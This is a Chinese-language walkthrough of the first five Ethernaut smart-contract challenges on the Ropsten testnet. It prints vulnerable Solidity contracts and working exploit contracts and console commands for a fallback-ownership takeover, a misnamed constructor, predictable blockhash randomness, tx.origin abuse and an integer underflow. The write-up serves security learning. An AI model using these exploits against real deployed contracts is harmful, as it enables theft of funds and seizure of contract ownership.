0x1

Ethernaut是一个类似于VULHUB的集成了众多存在安全问题的智能合约靶场,适合智能和合约的开发人员审计人员进行学习

平台地址 https://ethernaut.openzeppelin.com/

在线调试IDE http://remix.ethereum.org/

0x2 开始前的准备

使用谷歌浏览器在拓展商店,安装MetaMask钱包

自行注册钱包账号以后,将网络切换到Ropsten测试网络

获取测试网络以太币 https://faucet.metamask.io/

获取一个以太币

保证钱包里面是有钱的,要不然是做不了题目的

0关是教程,熟悉用控制台操作,这里不详述了,有兴趣的自己去看

我们直接从第一关开始:

源代码

pragma solidity ^0.4.18;contract Fallback{using SafeMath for uint256;mapping(address => uint) public contributions;//构造函数,给创造者1000个eth的代币function Fallback() public {contributions[msg.sender] = 1000 * (1 ether);}//每次转账只能小于0.001个eth,转多少个eth,就增加同额度的代币,代币最多的人合约所有权function contribute() public payable {require(msg.value < 0.001 ether);contributions[msg.sender] = contributions[msg.sender].add(msg.value);if(contributions[msg.sender] > contributions[owner]) {owner = msg.sender;}}//获取代币的余额function getContribution() public view returns (uint) {return contributions[msg.sender];}//取走ETHfunction withdraw() public onlyOwner {owner.transfer(this.balance);}//fallback函数,用于接收用户向合约发送的代币,如果转入的金额和代币的金额不等于0,将获得合约所有权function() payable public {require(msg.value > 0 && contributions[msg.sender] > 0);owner = msg.sender;}
}

题目要求

  1. 您要求合同所有权
  2. 您将其余额减少到0

分析源代码有两个方式可以,获取合约的所有权

一是contribute函数,每次转账转0.001个eth,然后转1000个就可以得到了,差不多要1000000,且不说手续费,要时间都要转几天

二就是通过 fallback函数,如果转入的金额和代币的金额不等于0,将获得合约所有权

要调用fallback函数,只需要向合约地址转账就可以了

contract.contribute({value:1})//调用合约中contribute函数,转账,增加一个代币
contract.sendTransaction({value:1}) //触发fallback函数
contract.owner() 查看合约所有者

到现在合约所有者地址已经变成我们的地址了

contract.withdraw() //调用函数取款

合约余额为0

点击提交,即可进入下一关

第二关

关卡要求:

要求获取合约所有权

源代码

pragma solidity ^0.4.18;import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';contract Fallout is Ownable {using SafeMath for uint256;mapping (address => uint) allocations;//Fal1out中的中的第二个l,实际上是一,所以并不是析构函数,可以直接调用function Fal1out() public payable {owner = msg.sender;allocations[owner] = msg.value;}//接受转账函数,增加同等代币function allocate() public payable {allocations[msg.sender] = allocations[msg.sender].add(msg.value);}//转账函数,往地址转代币function sendAllocation(address allocator) public {require(allocations[allocator] > 0);allocator.transfer(allocations[allocator]);}//取款function collectAllocations() public onlyOwner {msg.sender.transfer(this.balance);}//查询代币余额function allocatorBalance(address allocator) public view returns (uint) {return allocations[allocator];}
}

整个源代码涉及owner的,只有Fal1out构造函数,而且函数修饰符为public,可以直接调用

contract.Fal1out()

owner已经变成我们的地址了,过关!

第三关

要求

这是一个抛硬币游戏,你需要通过猜测抛硬币的结果来建立你的连胜。

要完成这一关,你需要用你的通灵能力连续猜10次正确的结果。

源码

pragma solidity ^0.4.18;import 'openzeppelin-solidity/contracts/math/SafeMath.sol';contract CoinFlip {using SafeMath for uint256;uint256 public consecutiveWins;uint256 lastHash;uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;//构造函数,设置猜对次数为0function CoinFlip() public {consecutiveWins = 0;}//获取上一个区块的hash,blockValue/FACTR,得到1或者0,然后和我们猜测的结果进行比较,如果猜对了,consecutiveWins+1,如果错了consecutiveWins清零function flip(bool _guess) public returns (bool) {uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));if (lastHash == blockValue) {revert();}lastHash = blockValue;uint256 coinFlip = blockValue.div(FACTOR);bool side = coinFlip == 1 ? true : false;if (side == _guess) {consecutiveWins++;return true;} else {consecutiveWins = 0;return false;}}
}

问题的关键是前一个区块的hash,前一个区块的值确实是随机的,但是因为一个块当然并不只有一个交易,所以我们完全可以先运行一次这个算法,看当前块下得到的coinflip是1还是0然后选择对应的guess

不过因为块之间的间隔也只有10s左右,要手工在命令行下完成这一系列操作还是有点困难,所以我们这里选择在链上另外部署一个合约来完成这个操作,要用魔法来打败魔法,可以用在线IDE部署

pragma solidity ^0.4.18;contract CoinFlip {uint256 public consecutiveWins;uint256 lastHash;uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;function CoinFlip() public {consecutiveWins = 0;}function flip(bool _guess) public returns (bool) {uint256 blockValue = uint256(block.blockhash(block.number-1));if (lastHash == blockValue) {revert();}lastHash = blockValue;uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);bool side = coinFlip == 1 ? true : false;if (side == _guess) {consecutiveWins++;return true;} else {consecutiveWins = 0;return false;}}
}contract exp {CoinFlip fliphack;address target = 这里是靶机合约的地址;uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;function exp() {fliphack = CoinFlip(target);}function pre_result() public view returns (bool){uint256 blockValue = uint256(block.blockhash(block.number-1));uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);return coinFlip == 1 ? true : false;}function hack() public {bool guess = pre_result();fliphack.flip(guess);}
}

部署exp类

一直调用hack方法,直到contract.consecutiveWins()等于10

过关

第四关

要求获得合约所有权

源码

pragma solidity ^0.4.18;contract Telephone {address public owner;function Telephone() public {owner = msg.sender;}function changeOwner(address _owner) public {if (tx.origin != msg.sender) {owner = _owner;}}
}

这题一眼就能看出来只要tx.origin != msg.sender,就能获得所有权

tx.origin是交易发送者

msg.sende是消息发送者

一般情况下是相等的,但是如果和上题一样,通过一个合约来调用另一个合约,这两个就是不相等了,tx为我们的地址,msg为中间合约的地址

在IDE上测试一下

pragma solidity ^0.4.18;contract Telephone {address public owner;function Telephone() public {owner = msg.sender;}function changeOwner(address _owner) public {if (tx.origin != msg.sender) {owner = _owner;}}
}contract exp{Telephone expTelephone;function exp() public{expTelephone = Telephone(合约的地址);expTelephone.changeOwner(你的钱包的地址);}
}

部署exp类,部署成功就攻击成功了

第五关:

要求

你有20个代币开始,如果你设法得到任何额外的代币,你将超过这一水平。

最好是大量的令牌

源码

pragma solidity ^0.4.18;contract Token {mapping(address => uint) balances;uint public totalSupply;function Token(uint _initialSupply) public {balances[msg.sender] = totalSupply = _initialSupply;}//转账函数function transfer(address _to, uint _value) public returns (bool) {require(balances[msg.sender] - _value >= 0);balances[msg.sender] -= _value;balances[_to] += _value;return true;}//查询代币余额function balanceOf(address _owner) public view returns (uint balance) {return balances[_owner];}
}

这里的所有整数变量都是由uint修饰的,代表无符号整数,所以当转21的时候则会发生下溢,导致数值变大其数值为2^256 - 1

contract.transfer(0x80C2d71F2Ac4E53F6ddD25b25c57ecB48Ac73857,21)

现在在看我们的代币

过关!

eth转入地址_ETH智能合约靶机 审计学习攻略相关推荐

  1. eth转入地址_ETH周报 | 资金净流入再创年内新高;以太坊2.0验证者数量增加(4.20-4.26)...

    作者 | 秦晓峰 编辑 | 郝方舟 出品 | Odaily星球日报 一.整体概述 两名消息人士透露,以太坊开发商ConsenSys将再次裁员.其中一名消息人士称,ConsenSys公司上周一宣布将裁员 ...

  2. ETH:Windows搭建ETH(区块链技术)利用Web端和小程序端两种方式调用ETH上的SC智能合约

    ETH:Windows搭建ETH(区块链技术)利用Web端和小程序端两种方式调用ETH上的SC智能合约 目录 1.Geth安装.配置文件.与ETH节点交互 1.1.下载并安装好geth客户端 1.2. ...

  3. java手机 上网_Java也懂智能! 中低端手机上网小攻略

    Java也懂智能! 中低端手机上网小攻略 2009年04月20日 04:18作者:Ken编辑:李博文章出处:泡泡网原创 分享 价格适中.操作快捷.功能合理,还带有一些如上网.游戏等便利的功能拓展,中低 ...

  4. 北京大学肖臻老师《区块链技术与应用》ETH笔记 - 10.0 智能合约

    10.0 智能合约 10.1 简介 智能合约:运行在区块链系统上的一段代码,代码逻辑定义了合约内容. 智能合约的账户保存了合约当前的运行状态: balance:当前余额 nonce:交易次数 code ...

  5. 以太坊智能合约开发-《精通以太坊智能合约开发》学习总结实践

    文章目录 一.初探以太访智能合约 1. remix小demo 2. 写智能合约用的编程语言 二.以太坊核心概念 1. 交易/事务( Transaction ) 2. 区块 3. 共识协议:工作量证明( ...

  6. 我的世界1.8.9无需正版的服务器,我的世界1period;8period;9服务器纯洁服地址 | 手游网游页游攻略大全...

    发布时间:2015-09-26 怎么创建属于自己的服务器那?开服教程为大家准备好了.如果我们想和小伙伴们联机进行玩耍的话就必须要建立一个服务器,要不然就是加入别人的服务器,那么服务器的建立方法是什么呢 ...

  7. 我的世界电脑正版服务器,我的世界电脑版花雨庭服务器地址 | 手游网游页游攻略大全...

    发布时间:2016-02-04 我的世界手机版0.14.0服务器地址汇总,我的世界0.14.0有哪些好玩的服务器呢?以下小编带来了我的世界手机版0.14.0服务器地址,大家速来进行体验吧! 服务器名称 ...

  8. 怎么判断以太坊地址是不是智能合约?

    2019独角兽企业重金招聘Python工程师标准>>> 使用web3.js web3.eth.getCode()方法返回指定地址上代码的16进制字符串,由于普通账户地址处没有代码,因 ...

  9. OSCP练习:vulhub靶机TR0LL 1攻略

    信息收集 主机发现 nmap -sC -sV 192.168.8.132 发现21.22.80端口 网站信息收集 访问80端口,没啥有用信息 访问ftp 使用 Anonymous 匿名用户登录,密码为 ...

  10. 智能二狗机器人使用攻略,微信群活跃助手

    群里聊天的人来来去去就那几个?聊来聊去都是一样的话题? 要怎么才能丰富社群的玩法体验,提高成语的积极性,打造99+社群呢? 别慌,让二狗机器人来拯救你的无聊! 数十款互动玩法,轻松玩转社群!牢牢粘住用 ...

最新文章

  1. python映射类型是什么意思_Python对象类型
  2. 【面试测试题】贪婪是好事
  3. shell中设置文字输出的颜色及字体格式
  4. java to do_java-将连字号分隔的字词(例如“ do-some-stuff”)转换为小写的驼峰形式(例如“ doSomeStuff”)的最优雅方法是什么?...
  5. php不包含_php 正则 不包含某字符串的正则表达式
  6. CPU的DataSheet和UserManual的区别
  7. java web从入门到精通 明日科技 源码_Java Web 从入门到精通(明日科技)
  8. css文字向右对齐_css怎么设置右对齐?
  9. html快闪软件制作,快闪文字视频制作
  10. DatawhaleLeeML-Task05-网络设计的技巧第二部分
  11. 备战软件设计大赛经验分享篇
  12. 用Python发送微信消息给好友
  13. 使用DISM启用或禁用Windows功能
  14. 信息化故事--温州的传奇(11)从“进城务工”看“温州新版自闭症”
  15. Gensim介绍以及实践
  16. 【技术分享】使用opencv进行火焰分割
  17. prometheus告警配置
  18. html的u标签去掉文字下划线代码
  19. IGT 2013校园招聘 笔试题
  20. 图像切割--Seam Carving算法

热门文章

  1. PS去掉图片上反光的操作流程
  2. java去除空格的函数_JAVA中去掉空格--trim函数
  3. Separating Axis Theorem(分离轴理论)Raycast
  4. java流分类_什么是流分类-JAVA中什么是流?流经常按照哪几种方式分类,每种方式又将流各分? 爱问知识人...
  5. 微信小程序云数据库增删改查
  6. mac HBuX连接夜神模拟器,连接真机
  7. 机器学习在网络中的实际应用
  8. 图片裁切批处理_PS照片裁剪批量处理方法
  9. Android版数据结构与算法(十二):经典排序算法再回顾
  10. 2019 “钱”途光明的 8 大前端开发技术,你还差几个?